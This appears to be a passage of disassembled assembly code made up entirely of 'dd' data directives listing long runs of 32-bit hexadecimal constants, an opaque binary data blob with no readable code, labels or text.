		dd 6A1D88E3h, 0EB051C76h, 0C203F18Eh, 0F2015E91h, 2231BFEFh
		dd 0B22B3E26h, 917D2D0h, 5EF3CAA8h, 2E0D645Fh, 0D6EA0F19h
		dd 0A5F378E9h, 38620302h, 0F640DC68h, 288612Fh,	0D4877F34h
		dd 0D5942802h, 2AF680EAh, 163CBB50h, 0BF535E0Ch, 0A3F78547h
		dd 0C70BE2B0h, 45380542h, 1D5EB667h, 0E93DF0ECh, 2BE6231h
		dd 65F93C65h, 3AC668A0h, 0A701A8BBh, 55116D9h, 29D2456Fh
		dd 6DC8EED0h, 59C82C31h, 407A13D7h, 3F840576h, 33B02A9Dh
		dd 80BFF82h, 0A48B93FCh, 2836F520h, 267D36A0h, 0B73A272Ch
		dd 667EA01h, 5CDE2CE0h,	0B5C0521Ch, 54806F8Ch, 778CC55Bh
		dd 8241BDEEh, 4060665Dh, 1D6CF123h, 0D4E94CDAh,	26D4F620h
		dd 4069912Eh, 29377D6Eh, 0F5114897h, 8448182Fh,	0A35B0C1Ch
		dd 0F0553F25h, 0F4B2814Ch, 0B685C00h, 7BD6354h,	779A0F95h
		dd 18D723F3h, 0D7DDC2FCh, 20AF6CB7h, 0E9A06E4Fh, 0C812B8C6h
		dd 0FA5F9109h, 6AD136CBh, 0B3C8D7B6h, 0C248295Bh, 1061059Fh
		dd 0CC021D2h, 668B205h,	0CBE98837h, 0CF0737D3h,	3AC3353Dh
		dd 2594B7B5h, 9DEBCE0Ah, 41C8B2A7h, 0B105E274h,	0DC2EE013h
		dd 0E62058A6h, 6A8FFC92h, 3DB2675Ch, 1F7F804h, 0EF92C5D3h
		dd 38125BDAh, 6500ECC1h, 0E50B5F3Fh, 0E680C9DDh, 95809AF8h
		dd 5317B5C4h, 0F6E8D388h, 58E70F75h, 0FA41CFFEh, 348499E9h
		dd 70E5C50Ch, 0B72312h,	68536689h, 316E4B03h, 2F5835Bh
		dd 9637243h, 0AEF2F893h, 8A925B13h, 69C58DAEh, 821C98C9h
		dd 8BEF78FBh, 49117E5Ah, 55F2A95Dh, 4AF5CD20h, 7576DD01h
		dd 3BF9EB4Eh, 0ACB8E90Dh, 15886BF7h, 8451D05Ah,	637DFB16h
		dd 8F4E4C34h, 25DA62DDh, 651295C1h, 5BE882B2h, 640ED40Bh
		dd 89CB95Ch, 2530B7B1h,	0E00BA1AFh, 0F38152E6h,	9CD7BA9h
		dd 6B2D452Eh, 43CABB1Dh, 34293C20h, 5197978Eh, 0BFF22934h
		dd 48E96363h, 0EAF824D5h, 0EF2A6A0Fh, 76DEAB19h, 51EB825Dh
		dd 0A2D02101h, 0DD32DC4Eh, 8284DC56h, 6768505Eh, 0EE984ED0h
		dd 0C9E3C94Ah, 12308AD6h, 60BF8268h, 6F11A5E2h,	2FC1564Ah
		dd 336007EBh, 0C7511295h, 42BB1F12h, 21354959h,	90D74857h
		dd 0F5415D01h, 1406CA0Bh, 5CE5C102h, 0F38E0709h, 0DA3D6403h
		dd 0D8E8D7CEh, 521657CAh, 91094DA1h, 0EEE4FAF4h, 520C97D7h
		dd 0F27B509Eh, 90AADAB5h, 18F6055Ah, 0EB4D3F65h, 0D73A70D1h
		dd 21A8BE00h, 3455613Dh, 6BFD980h, 7718263Eh, 5B62CF05h
		dd 0C2BB3089h, 4F7E4521h, 0A96DEA81h, 0C881EF6Bh, 521B437Eh
		dd 6CE16F01h, 75FD0804h, 88E6E934h, 7909ABA4h, 528911D3h
		dd 496E0E2Ch, 0F6C013FEh, 1BEF1C4Dh, 472464Ch, 0F5C2AA9Ah
		dd 0A428ECB1h, 0A113B95Eh, 0CA62AB0Fh, 4E5A5610h, 0FFD69B4h
		dd 4F5E6366h, 0FF9A51C4h, 8DA95673h, 354A54CAh,	598182CDh
		dd 0AF306555h, 0FDB9417Ah, 25177ACh, 0AF96F02Ch, 0C6E92D42h
		dd 0F1E5A59Eh, 81921EBCh, 20B60FEAh, 6B40EA52h,	0F3282559h
		dd 6B8B2A45h, 6C68D686h, 595BD7FEh, 0C5F84C39h,	0BE1DCE96h
		dd 384E2EA0h, 3706EE81h, 4618F402h, 2C5C02B2h, 0DE291F5Ah
		dd 995196Ch, 0A5BC7993h, 29563FBh, 5BE84B8Dh, 0B703B443h
		dd 0FD8851A1h, 2F5EE92h, 54B8C364h, 40F77296h, 64F680FDh
		dd 0FE5AFAD2h, 11E94690h, 4A299E60h, 497A1930h,	0D1F76F5Dh
		dd 9289D325h, 56447871h, 7279D3C2h, 33226304h, 1513BD27h
		dd 1BC2F20h, 0F818CCC4h, 4058A29Ch, 2748166Bh, 0B65441AAh
		dd 580F131Ah, 833E2046h, 0C5F99Dh, 6E1225E1h, 75DA568h
		dd 211081AFh, 0B220633Eh, 5E9F13B3h, 108FB8C6h,	0B90261EDh
		dd 0FCDC5743h, 6BDDA7C2h, 0AD305B2Eh, 0A5C15B3Ah, 310198B9h
		dd 1F1E73EEh, 0FE93F801h, 125896A0h, 0BD759668h, 48E9A300h
		dd 57188009h, 0F081151Dh, 0DED94FCEh, 16288801h, 7A285B21h
		dd 0B266F2A7h, 0CFAF8159h, 0C0BBA4A9h, 68EE951h, 0D362E996h
		dd 0F9BF0095h, 0B38C337h, 0A332FC47h, 618718E3h, 52E54317h
		dd 0BE2D033Ch, 5EA702DEh, 0C9EA9FB5h, 465297EEh, 0FCF9AC20h
		dd 69FEB057h, 178E1CFh,	0E5A19B5Ah, 0E5A70068h,	0AE73D4FCh
		dd 5D394E1Ah, 0FA0CF66h, 48046293h, 0EFECE96Dh,	0F08429AFh
		dd 0A90A0ABDh, 8DC1297Eh, 585B0820h, 504BD7FDh,	0E90FD032h
		dd 0D5321DA2h, 0BC7FED9h, 2796AEB3h, 0E2595A81h, 2CEFBF40h
		dd 0E97D133Bh, 3B79B1ABh, 95DC24B3h, 66009E71h,	63B5515Ah
		dd 6564B252h, 0FE560258h, 0B38C3D30h, 0ACF8BDC6h, 5BFCDAE6h
		dd 0CF122297h, 174EE5E7h
		dd 9E4D21D2h, 0D92901BBh, 0F84F3860h, 0D2310559h, 0AA420A68h
		dd 3074E5DDh, 26A91D5h,	0C2685AD6h, 0F05C4655h,	585549A3h
		dd 73AC2910h, 0B71EA19Eh, 80C7409Ah, 6964FBD8h,	65DF893Eh
		dd 0D79E3888h, 0BACD4BFFh, 9F201AC4h, 1E4EF4F3h, 9318AC10h
		dd 0BE2040F0h, 7C200556h, 52386CB0h, 966F2438h,	0AD97E924h
		dd 6F6C460Ah, 610602BCh, 765B2871h, 7FEE8267h, 3A50A569h
		dd 67A22D07h, 0D2501573h, 0F45ADE74h, 863E192Bh, 47052408h
		dd 3D115A07h, 0F521B50h, 9231668h, 0B90FEB14h, 479E203Ch
		dd 2249E9D1h, 0B95A1762h, 0A427B0Bh, 0EE550546h, 10D7CAAEh
		dd 3327D882h, 9963DF54h, 56CBDF56h, 0BD84D266h,	0E6680257h
		dd 0B751462Ch, 0D0A56FBh, 0D58BF069h, 39A7445Ah, 688BF9F7h
		dd 38FF6238h, 0BD565A37h, 68004BE6h, 4D0A6C7Eh,	49E94058h
		dd 637FFABFh, 2D34E4E0h, 8501AEDCh, 51BB3DB4h, 1D811234h
		dd 0D33392E2h, 7CAF0B30h, 0C2101104h, 2D056E34h, 0D864B309h
		dd 121D784Bh, 0C6435CC4h, 0CB045219h, 213C387Ah, 0BF5749C0h
		dd 4A737DD7h, 5995B8B8h, 47186069h, 0B712F042h,	610513A1h
		dd 0EE6B3111h, 6A827D2Fh, 0E3573510h, 8BC1C219h, 0E91F1808h
		dd 4409222h, 9A2A9005h,	2D6B8259h, 0C5D0785h, 0F155A6E8h
		dd 0AC4A6003h, 0E9CF896Ah, 8F6B1A15h, 2B257FB9h, 6431F672h
		dd 25BC1001h, 0F388E897h, 93781E34h, 8198D719h,	7E5D544Ah
		dd 41FBF1D8h, 24007EBBh, 5E29E381h, 0C5224BBDh,	7B32E4DCh
		dd 40F86E18h, 4C377258h, 65102874h, 0B25A00B9h,	90EA8057h
		dd 75CA7528h, 0BB594AC2h, 31124616h, 50EA70D1h,	342728E8h
		dd 3E0FA01h, 58A0E908h,	17EF2702h, 771446B0h, 7C522349h
		dd 515B2560h, 1CAF3D49h, 0FA01AD04h, 2DFEF612h,	0D92530D8h
		dd 6804E294h, 0E1E836C3h, 1F7AFC4h, 0F028D704h,	0B9699AE4h
		dd 426B00CDh, 0E6811F9Ch, 1E0D8F13h, 460F2440h,	94296A70h
		dd 0E9C30689h, 2874E57Fh, 84A08079h, 669713EBh,	6012C781h
		dd 3FAE19E9h, 5054C5A5h, 2F25FCC1h, 7155EDC2h, 7B35E04Eh
		dd 194C5207h, 49220E1Ch, 37E96502h, 0F5316FD2h,	7A426902h
		dd 0E3277D71h, 234FA47h, 0B402D478h, 8641FD89h,	0A058C928h
		dd 0E9F0DE06h, 99BC542Fh, 0CD6E02B3h, 27A82A48h, 0A9118CC5h
		dd 64CF61FAh, 56F50288h, 0B9B11A8h, 0EBA5EE79h,	0F7135A56h
		dd 16D35DE1h, 9485860h,	48A0A406h, 355B1E3Fh, 0E4B496F4h
		dd 4AC78006h, 0C95F5AD8h, 99820178h, 2040F605h,	0BB80B0BDh
		dd 0AA081242h, 60580E11h, 0B833CE84h, 0E10788Ah, 0CB80667Dh
		dd 0E92F6495h, 6B741F31h, 0F6CCD0E6h, 7606C2EEh, 6343F488h
		dd 0F579E485h, 3551F001h, 2EDC11Ch, 0E6AC6230h,	59574C7Ch
		dd 0FF381805h, 0E863850Eh, 1A424EE1h, 0A4523C68h, 6CE81F97h
		dd 4B348A5Fh, 81E402F9h, 6E081B02h, 25C5EBD0h, 731D3B14h
		dd 3E40E50Eh, 0D5F73A63h, 342D1C01h, 0E9211764h, 0FC2F806Eh
		dd 767FC628h, 270DCE05h, 4BBA6BB5h, 0F6870600h,	80CF5A0Fh
		dd 0C63548D8h, 8A7D174Ch, 0D1B5A42Fh, 0C288B4Fh, 0DB42455Ch
		dd 6269D4C1h, 510560D1h, 886B5BC1h, 4AE4DAE7h, 79AA02DBh
		dd 31C4C8ADh, 98527FD8h, 0DCECB525h, 5CFAD092h,	0B91A5362h
		dd 67FF1202h, 0F2571792h, 0C291272Bh, 0C5327DE9h, 0ED876389h
		dd 1D9A40C8h, 0CD09BD55h, 0DD30AC01h, 338908A2h, 8FB7B5C3h
		dd 671744A2h, 0E2401BD6h, 82208525h, 9CC9728h, 2323AAC1h
		dd 0DD837DC5h, 5BABEDABh, 42F21250h, 2F5899A9h,	1F0B2890h
		dd 844A6050h, 7E133C78h, 0ABBF9598h, 89482EBh, 0D08903E2h
		dd 0F55CB9BAh, 0C9BA562Dh, 974194DFh, 5A16857Bh, 5C0CCE8h
		dd 4B723C25h, 7442D81h,	41391488h, 0C55E30FAh, 655817CDh
		dd 68C2927Ch, 147D33BFh, 1F94BDADh, 5F5BC49Fh, 45F5043Bh
		dd 0EF01852h, 64CEF536h, 0D9A92FEFh, 4CB9C7Ch, 0FB177E2Dh
		dd 3DAE0525h, 0CF292E5Fh, 0D7246326h, 0E0121C3Fh, 7FC5E2B5h
		dd 2A895CE9h, 0B8148AB1h, 74E027D7h, 9F5A4065h,	0B19D0770h
		dd 0AEE1B46h, 59CDC24Dh, 74338444h, 0B9E38903h,	0AC529048h
		dd 8224925Bh, 0B5D11BDh, 0DA82A754h, 8014CC38h,	0B54BC808h
		dd 0AF6EB555h, 10420C83h, 719C501Ch, 0A5E2B24Bh, 94EAEC40h
		dd 4F358024h, 300D3EEBh, 68481F12h, 13329400h, 0E34236E2h
		dd 2C1D5120h, 13FADA76h, 4F2EB8C9h, 5C94BE2h, 9E869CDDh
		dd 0E47FF218h, 513F30C2h, 29DBF15Dh, 0A4430A30h, 12901E5Ch
		dd 0CC1313Ah, 0D216D99Bh, 0AC52308h, 0FF291301h, 781DFA21h
		dd 0C70B562Eh, 13104457h, 39EF1795h, 0AB080488h, 430B56C0h
		dd 15F1AE4h, 80FEEC7h, 2AFC83EDh, 4BE9F03Ch, 0C022B89Fh
		dd 5166FAB0h, 20E390B5h, 0DAF18A83h, 0B7DB4BE2h, 21C06884h
		dd 626B2B97h, 0E1576148h, 2001F1CFh, 0A4CEB629h, 0F0C96193h
		dd 4EFFACA1h, 0A0F46625h, 3F5BB036h, 0A1DB0D74h, 81080555h
		dd 68EA9DB2h, 0F5688015h, 0FA2A454Dh, 0CE164F92h, 7D4C5213h
		dd 3DC96913h, 3A203001h, 0E53E47B9h, 2F346EA4h,	0E12E5499h
		dd 43D93A80h, 904E8EFCh, 0FD855BF4h, 0B10B960Fh, 0B984D3B2h
		dd 13B0E0A4h, 92C1216Ah, 7A2067D0h, 405E275Ah, 0E273F6ADh
		dd 0E18D6F31h, 0F7286106h, 0F901371Fh, 68592981h, 4B9172FFh
		dd 17F64225h, 39CC8DF4h, 0BF9040AAh, 0C342D196h, 10500994h
		dd 49F1D1B5h, 1F670904h, 308868C4h, 0DF0CCCAFh,	60D5E92Dh
		dd 2ED92CEFh, 108CC0FEh, 0B4B24F51h, 855998DEh,	0E4300339h
		dd 0FCCB7468h, 597021Bh, 7BB42A4Fh, 7B3087Fh, 9F11DA2Dh
		dd 0F54903D3h, 509F479Eh, 1E350373h, 39BB7D75h,	95290B26h
		dd 0BCE9F631h, 8A2BEB65h, 13E3D040h, 52204F39h,	0E7E7926h
		dd 0C1E8D121h, 1C04054Bh, 975C0CD3h, 5E9D2768h,	0A2950CE6h
		dd 55014E45h, 0EA2F3D66h, 631A46FEh, 0C92C7F71h, 0CABBF993h
		dd 60E06BDFh, 2F4A8568h, 0DA49BCA6h, 14CB6882h,	0FA66F4A2h
		dd 62180F0Bh, 56789F71h, 74D88845h, 0EEEF0C31h,	6A118803h
		dd 392D6E70h, 0CA567F8Bh, 0C4A0AC50h, 0FA311F25h, 54CC9162h
		dd 0EAC1C5F8h, 61AE0917h, 7CC821E0h, 26A4D0ECh,	5226A90Bh
		dd 558A7B42h, 0CC55B414h, 1B803ADCh, 7CFC7C64h,	0E2E3203Fh
		dd 9E2D3B5h, 0C1F44E5Eh, 1473A763h, 48F03110h, 6801FAD6h
		dd 23962781h, 0C9D4E1DAh, 5702B407h, 0D9D93892h, 84C6C269h
		dd 2DAF2105h, 40E9D879h, 136EAAEEh, 1BB3EDFEh, 6FB0C83Fh
		dd 172C6CE8h, 641E5942h, 0E92548DCh, 2B5DD647h,	16C3F63Ah
		dd 5F21A30Fh, 242E4DE0h, 0A858816Eh, 120E3691h,	0AAC96AC6h
		dd 7833E17Eh, 0EC0C6282h, 0BB640F58h, 8DE6AB4Dh, 5CCC212Dh
		dd 7393E92Ch, 0C20057A6h, 5834861h, 63FA4C01h, 816A0841h
		dd 2B9CE929h, 2D5B88ECh, 0E3042AC2h, 330DA7F3h,	2C2DE122h
		dd 0FB12E78h, 8059CC01h, 82F423F4h, 786DBEA0h, 4EB55743h
		dd 4A4CF601h, 0F744C80Ah, 2EDD748h, 699F1868h, 11485D09h
		dd 45301F0Dh, 7C6D0C66h, 28955B92h, 0C7D25BA2h,	0E94542FBh
		dd 30000E87h, 74012CC5h, 4869F686h, 58C98684h, 0F62D1CF2h
		dd 3196CCC0h, 3C13FD7h,	6433665Fh, 0C2825470h, 3511F7F4h
		dd 3214BC55h, 0E0EF2D6Ch, 9803E744h, 8959098Dh,	4F7A332h
		dd 2F355ADh, 1365D24h, 0C41F4B4h, 13E90131h, 42FA637Fh
		dd 40B9B94Dh, 0FB94C573h, 0B0A4F827h, 0A33B4F59h, 0D8551080h
		dd 0C0C5FE02h, 0E0FF04EDh
		dd 90EA880Fh, 848B5D03h, 25BE5131h, 0F0500D5h, 96CB7E21h
		dd 9B072004h, 0A5E904DCh, 8C67FA94h, 0E4E409A2h, 0F3732D67h
		dd 2012D3E5h, 0E62B90E1h, 9BF85AAh, 179E57ECh, 0C157E1CDh
		dd 0C7588CC3h, 0FEE811A7h, 16B3910Ah, 0E1DFF9E1h, 2B80EDFFh
		dd 50B95AD7h, 750C374Ah, 3C5FF931h, 0F23F13D6h,	0D5150015h
		dd 1452A7Fh, 0DA24D177h, 0F588C69Fh, 0BA29124Bh, 2D00918Ah
		dd 60EC4B48h, 5F766225h, 55E0457Ah, 62014124h, 0F00A3200h
		dd 5B60E972h, 4015E7CDh, 0AF5D8FFDh, 6FAC5F0Fh,	4B594F1h
		dd 0DD27EAADh, 6057B3E1h, 7B1FCEBCh, 5F0B1A07h,	0FA4A200Fh
		dd 96344F79h, 0D83A3E30h, 0C2D23D28h, 4AC76885h, 0B2008D59h
		dd 5FB353E5h, 0E2C33980h, 0F699EB82h, 32C352D3h, 0DD880FA4h
		dd 6864D9C9h, 1F7AE39Ah, 0A42330Fh, 0BE9AEFFCh,	5BEB62C5h
		dd 8251D549h, 7CA2F8Bh,	5314081h, 80982349h, 59895D27h
		dd 0A99BA4E0h, 820208D9h, 81674D1Ch, 6D7ECA7Ah,	839C7964h
		dd 3BF0B67Bh, 34F7F65Ah, 0F508D75Ah, 0F729A0DFh, 5768E113h
		dd 634DBDF8h, 0AA4AFB84h, 0F12FB98Eh, 9DEF030Bh, 1C770905h
		dd 482F8FEEh, 0E957B09Ah, 0B8525EE5h, 0FF7BE741h, 0A5512290h
		dd 58824EB6h, 77704349h, 0BFE615C0h, 0C546B16h,	772902EAh
		dd 15FC5A39h, 9E2315h, 5F549CBFh, 64EF8729h, 0C44F064Dh
		dd 204980C6h, 2509D36h,	91889EBh, 370C3165h, 7EFD201Dh
		dd 0A3153A0Ch, 122EA273h, 8559AD4Ah, 6D44AB6Bh,	9D1CF3C4h
		dd 0A556D532h, 8CBE6631h, 3507h, 2A21548Ah, 0D998334Bh
		dd 5E0CA1F7h, 46DF6682h, 585A1828h, 2E5F0881h, 0E91372F6h
		dd 0BE17C492h, 226625CEh, 0F5FC8F5Eh, 34EBC1Eh,	0EA65314h
		dd 609E2C72h, 5B6158BBh, 0F331373Dh, 0DA223082h, 0E91392F5h
		dd 0AF41651Fh, 72C980C1h, 0F6D0077Fh, 0FDA3F4D9h, 0BB0F7872h
		dd 64052B5Bh, 0DDEFDBE8h, 0C76BECD8h, 0CDF22DC0h, 0B01D6E01h
		dd 94B16E3h, 160BFBD5h,	0A885D508h, 0F63290D2h,	883A50D1h
		dd 5ED8BAC8h, 44899182h, 7487FE67h, 43DB37CBh, 0C40930B8h
		dd 0DA5A89C8h, 46C486E9h, 891077h, 282BEA81h, 95291EE2h
		dd 7AB2B5DCh, 0B25964BAh, 496E2061h, 8782E98h, 0F018595Bh
		dd 0B5D69154h, 519F7CB6h, 0FD510C85h, 0C897D6B5h, 24503C4Bh
		dd 9D591E3Bh, 549AE0C5h, 0B30F5364h, 439203EEh,	23AFEBD0h
		dd 3A9C09Eh, 16BA78F6h,	0A81E08ADh, 0B1518B39h,	7AD041Dh
		dd 0D09FF413h, 282D2E7Ah, 0D09FC359h, 241865EDh, 20D7983h
		dd 77F33B8Ah, 0D7A28155h, 706E6701h, 0F262E9D4h, 0F66D48BDh
		dd 5008C0DEh, 102C8EB0h, 2E0C01Ch, 405E8C3h, 34E690B2h
		dd 0C608009Dh, 0A1F68058h, 0E7B248E9h, 0E6DBD9A0h, 293EB0F8h
		dd 9D0196F2h, 44F0EA3h,	94DFB7Eh, 55A12956h, 0C037B990h
		dd 39EB4BC0h, 0F643453Dh, 40C9AAE1h, 24030421h,	271918DAh
		dd 7BB5DC70h, 472F3EEBh, 0C39EE3FCh, 3028EAA4h,	0FE5BD269h
		dd 0B1671294h, 976E26E1h, 9BC5A7E2h, 0DC1889A2h, 400F493Ch
		dd 0C9CB89ACh, 5DF36222h, 7F9487ECh, 0B6B41E2h,	580740D8h
		dd 0D3F75F52h, 681FE28Bh, 3454A445h, 801A1163h,	4250051Dh
		dd 435035F1h, 6D624E56h, 0D59671F1h, 3BEE2BA0h,	22491F2Dh
		dd 0E0EF2540h, 0B0CD3176h, 315B5EACh, 488666Bh,	0BAB901C4h
		dd 0EF39277Bh, 681F9A51h, 0A4B273AFh, 0AC6FE502h, 2FE0D223h
		dd 0DB3F1203h, 0AFE6D10Fh, 40680066h, 7339C40Ch, 0B70397B7h
		dd 42B8D28Ah, 0C10C1CE7h, 0F53CAEEEh, 17E04302h, 6948AFBCh
		dd 417B3CDEh, 620E4E3Ch, 59CCEC30h, 0C19DD40Eh,	87EFF564h
		dd 1BE964CFh, 5D2516ACh, 6CB9658h, 0BC137E03h, 72602C09h
		dd 76C84DD8h, 17A82CD9h, 0BF70AE5Ah, 42BC70A7h,	0F408414Dh
		dd 39D7F3F2h, 0DC193AF8h, 0E2C51156h, 0F6E5D040h, 92D2627h
		dd 843155ADh, 240C02D9h, 0CC3D043Ch, 0A155A812h, 0C304D755h
		dd 20EB6C01h, 0E4FCD7FCh, 86DA036h, 80E2EA4Fh, 80CAFE80h
		dd 12F231F2h, 2CD0281Dh, 0E9515A02h, 504C97Ah, 59E5E46Eh
		dd 1281681Bh, 0B4908C77h, 270692B8h, 3D500E57h,	45D95197h
		dd 5064D3E4h, 6A4EEAB1h, 4A7F44F3h, 28BFC39Eh, 0D38A9E27h
		dd 0EF56B53Fh, 17AFCFC8h, 0E027E101h, 7F983E3h,	0D8C5EB05h
		dd 0F72B52F1h, 0A6257D48h, 5A1B777Fh, 79D0D8D2h, 24EBC124h
		dd 0BD78C30Ch, 0AE42D68h, 0AFC6F356h, 0EFC60483h, 0C04CF7B4h
		dd 76685E71h, 0FD534962h, 6FC7F4F5h, 55D02929h,	16160BDh
		dd 0BF5725DAh, 5CAFD856h, 9288873h, 7D2D5E00h, 0F674970Eh
		dd 4F6D6744h, 8F0C7EE1h, 52BD5F0Eh, 0C5EA05C0h,	0EF647009h
		dd 0C43E9539h, 0E779EA96h, 0D72B5525h, 5436E50Bh, 1771277Bh
		dd 601B8525h, 0FB21E952h, 5EF59BC4h, 45741687h,	554911F2h
		dd 5A41AF4Ah, 6C3F1930h, 0B855282h, 0A58F062Bh,	29FE5942h
		dd 0CEB7A075h, 58040C14h, 0DE28A519h, 0E90A09A3h, 65CEBA7Dh
		dd 0E99ECDF6h, 0D189BD17h, 0B095E82Bh, 0B4D1E3E9h, 267CE90Ah
		dd 40339AAFh, 19795246h, 865E4E75h, 0ECCBE5EAh,	0BC02B951h
		dd 3126BE11h, 0FDDA55CEh, 0BBE9D709h, 2AC11047h, 0A2186264h
		dd 0B30FFEE5h, 4532AED1h, 81FD652Ah, 265D6E8h, 0EF51E364h
		dd 32906831h, 4A2516F5h, 0DBC0807Bh, 4C4B4751h,	770E1CB8h
		dd 0E2C01074h, 1BF12DCFh, 0E80BC3B8h, 8E63C41Dh, 14D24CBAh
		dd 0B13A4ADBh, 0D6CF2403h, 44EC1005h, 6140558h,	0D9BBB020h
		dd 25910D02h, 78E1FAE9h, 0F70DD87Ch, 0BD877BD0h, 0F5003DC7h
		dd 6AA46C46h, 263DB931h, 26711E8h, 0A57835F6h, 0C523E109h
		dd 0F48E0738h, 0BF3BBE00h, 5B5164E8h, 6EB47ABBh, 17CCEE13h
		dd 0EC574F3Ah, 4EFED13Ch, 5DACEBEDh, 87D5F70Ch,	130460EFh
		dd 0AC0C9584h, 0E69017D7h, 0F3C013E8h, 437C2D74h, 65972FB8h
		dd 96E984E9h, 0CE84C8A2h, 6A026717h, 8BDE6504h,	0C2215B02h
		dd 1FC13C3h, 4BB8504Eh,	0F86606C0h, 28A64987h, 8D064748h
		dd 66508E41h, 4EFDCB0Fh, 0D6AC73DCh, 1C0A2203h,	3627F309h
		dd 88A35101h, 9C2451BDh, 0F0A86003h, 7492DA27h,	0EB9A3A0Ch
		dd 69558F43h, 0F4537A7Fh, 0CBD95E54h, 0B84A10CAh, 0E4F76613h
		dd 0A564BDBAh, 0E1BBEB6Bh, 97E6335Dh, 19362CBBh, 0EA812296h
		dd 7AA70225h, 5D21E521h, 160C0806h, 0FB863CF6h,	785B405h
		dd 4A7431FEh, 0C2A304BAh, 5B9D277Bh, 2A0462Ah, 17F32ACBh
		dd 0DCFCB86h, 0E42D5C9Eh, 4FE9161Fh, 0EF0C43E1h, 0A9ED105h
		dd 0A9D10450h, 0CEF9553Fh, 0EE0005B9h, 679C3D68h, 85C5B6E9h
		dd 13E53059h, 0A77464EDh, 9177CB9h, 0CD891BFCh,	12980652h
		dd 20925C25h, 75B0099Fh, 0AD31E9ADh, 5191E47Bh,	53300713h
		dd 4C26408h, 0EE083A68h, 7E3B3A37h, 7A84613Ah, 1F881151h
		dd 534CE016h, 0F2D0565h, 62C05CAAh, 4A1CF4E5h, 0BA650520h
		dd 0D6C0BC78h, 0C5C49904h, 8494F816h, 400042CEh, 0BE5F1B05h
		dd 0D0842969h, 0EA803DE8h, 16D895F0h, 505C519Dh, 0CD5CFE5Ch
		dd 9ADE2014h, 4B8FF071h, 1047E3D8h, 5E274425h, 9AC859C3h
		dd 1F989118h, 553DBD69h, 86637C8h, 0A865B5h, 0DE6FF9F3h
		dd 8939527Ch, 0C4D625DAh, 0D00101C7h, 0E02D7A05h, 0C7C4D628h
		dd 0EA2799BAh, 3162A249h, 0A0897352h, 1FCB0BE2h, 71004154h
		dd 21658BDh, 0E90CE92Dh, 532FC2BFh, 0EAD11010h,	0EBE2D04Fh
		dd 0D9B8D4E5h, 4DFAD9FAh, 0C21B6960h, 0A160066Dh, 362CADB3h
		dd 0E1F5BC5Ah, 0EE3880DBh
		dd 0A2B4E187h, 0CCA2988Eh, 785703EEh, 66E32F26h, 9B60CD2h
		dd 2D1F4A16h, 3F5D3B4Eh, 1073980Bh, 7DCB6Bh, 0E6811403h
		dd 70F02B9Eh, 3EE5E2C0h, 5C87F72Ah, 869CADEh, 6563C1h
		dd 2D3006B5h, 0E48F58C5h, 4D20C7A9h, 80DAB652h,	0E53C63Fh
		dd 0D4FE06E6h, 0AD807B88h, 4E042F68h, 2BCA0C19h, 5881A4A8h
		dd 3F2F0D68h, 2FAF929h,	7309F069h, 14F42998h, 0CF81C934h
		dd 60EB7D9Ah, 0F0B7D767h, 0C4D9099Ah, 0DCF0F377h, 84F17EE3h
		dd 225EA76Ah, 4146252Ch, 0F6789A92h, 0E9FAD99Dh, 5C5F8216h
		dd 177BC7CBh, 863A8ACh,	0BA82CA1Bh, 77BC4C1Bh, 48FD7AE0h
		dd 3DA8409Eh, 62CCC7Ah,	140277DEh, 0D76A6E3Dh, 8059FCAh
		dd 0ECCFBB5Eh, 50BE909h, 894F9759h, 66BD6030h, 0B2AF4F0Fh
		dd 40CB107Ch, 34010405h, 6EE0BD1h, 4E1D4130h, 2BFEEBEh
		dd 7439680Eh, 0D3AE6B47h, 9F57C8E7h, 0BF609508h, 14E18915h
		dd 7D70CBEAh, 0F768FA0Bh, 12B2756Eh, 0ABD6C80h,	811D4D5Dh
		dd 0E217D3CDh, 0CF58F00h, 0BF279B4Fh, 8785BDE2h, 5EA6F390h
		dd 7209CE85h, 13817F99h, 2DB3E2E9h, 82622D59h, 5F5E54CBh
		dd 0CEBACA3Eh, 835F200h, 0A3E91139h, 972C96C0h,	8100B951h
		dd 0C2B4846h, 82FCF07Ah, 878DCD5Fh, 15CACB7Ch, 165DA5B6h
		dd 51E927AFh, 385F0161h, 1634881Ch, 0F91C9308h,	687D55BAh
		dd 12568E4Ah, 0B15A27C6h, 35F22B24h, 41A2F4Ah, 53386806h
		dd 0AFA6C91Dh, 4188F0F6h, 16C1A7C9h, 4CD82AB6h,	432607F0h
		dd 1CC1E961h, 0EA72312Ah, 0A008D568h, 0F07C0602h, 89C9FD32h
		dd 6C57E8C2h, 72E98209h, 0E85ED69Bh, 3F830992h,	6159C75h
		dd 771B5BDh, 8792B641h,	5A3CFD90h, 0CBAA9846h, 8B02C439h
		dd 0F886B61Fh, 0C4F0A2D2h, 0C1810349h, 6DAA6340h, 359F0C05h
		dd 5DC4B7EEh, 0E98290BAh, 0CB91B971h, 5078C680h, 5F21A818h
		dd 0B0D2FCF2h, 28208EEAh, 5BC14026h, 0C4D5E298h, 60B73F16h
		dd 9D4F2850h, 947D89C2h, 48BA051Eh, 0C0611D6Dh,	1558AD77h
		dd 9822C4Fh, 0E1202238h, 8678DA42h, 72C3292Eh, 8B07210Eh
		dd 5D48097Bh, 0DD48BC2h, 2776808h, 85573F2Dh, 41860BF7h
		dd 0C42C6682h, 38F89574h, 0F852E6EDh, 4A71BE59h, 3F4829ABh
		dd 60985EB4h, 79EEE350h, 0A87B46BEh, 6ECCC927h,	5B1E9DD3h
		dd 4AC5C4Eh, 85848158h,	0F9FC4BEEh, 1120A4B5h, 0E0C74123h
		dd 44125B5Dh, 25EB5E71h, 0FCF6E5CCh, 0DA911A19h, 69BF5780h
		dd 9141D59h, 6EBE4AB8h,	0D1255F5Eh, 0DDCB0826h,	0A308EF2Ch
		dd 0E4D925D2h, 676DC60Eh, 33F2B2E6h, 203464FCh,	41BC9FF9h
		dd 857D88h, 0B233C7BDh,	0C5058136h, 0DF35F75Eh,	0E185E3C2h
		dd 172E6E63h, 0B9A508Eh, 9F95D3Bh, 37F52BCDh, 804A1AD7h
		dd 4836AD5Eh, 0D1292E07h, 690820A5h, 0E1824C87h, 6DD63F88h
		dd 7CDA3560h, 9687529h,	0B163FABFh, 7FEABAD7h, 0C5893EECh
		dd 1544F185h, 32939CBBh, 0D5C8564Eh, 0F65B7859h, 29A0A8D8h
		dd 4AC5EEE8h, 5EBAF4FEh, 47157913h, 0B2DBFFC1h,	205ACB6Eh
		dd 3B1D273Ch, 80D280FEh, 0DB6D708Bh, 0F3E9252Ah, 0BF7660E2h
		dd 2A1F463h, 70D4C379h,	0BED677B8h, 0C17DB100h,	0BAA8E90Dh
		dd 815B5E9Dh, 7BD3D7F6h, 914BFEE2h, 2A585040h, 0FBD020E2h
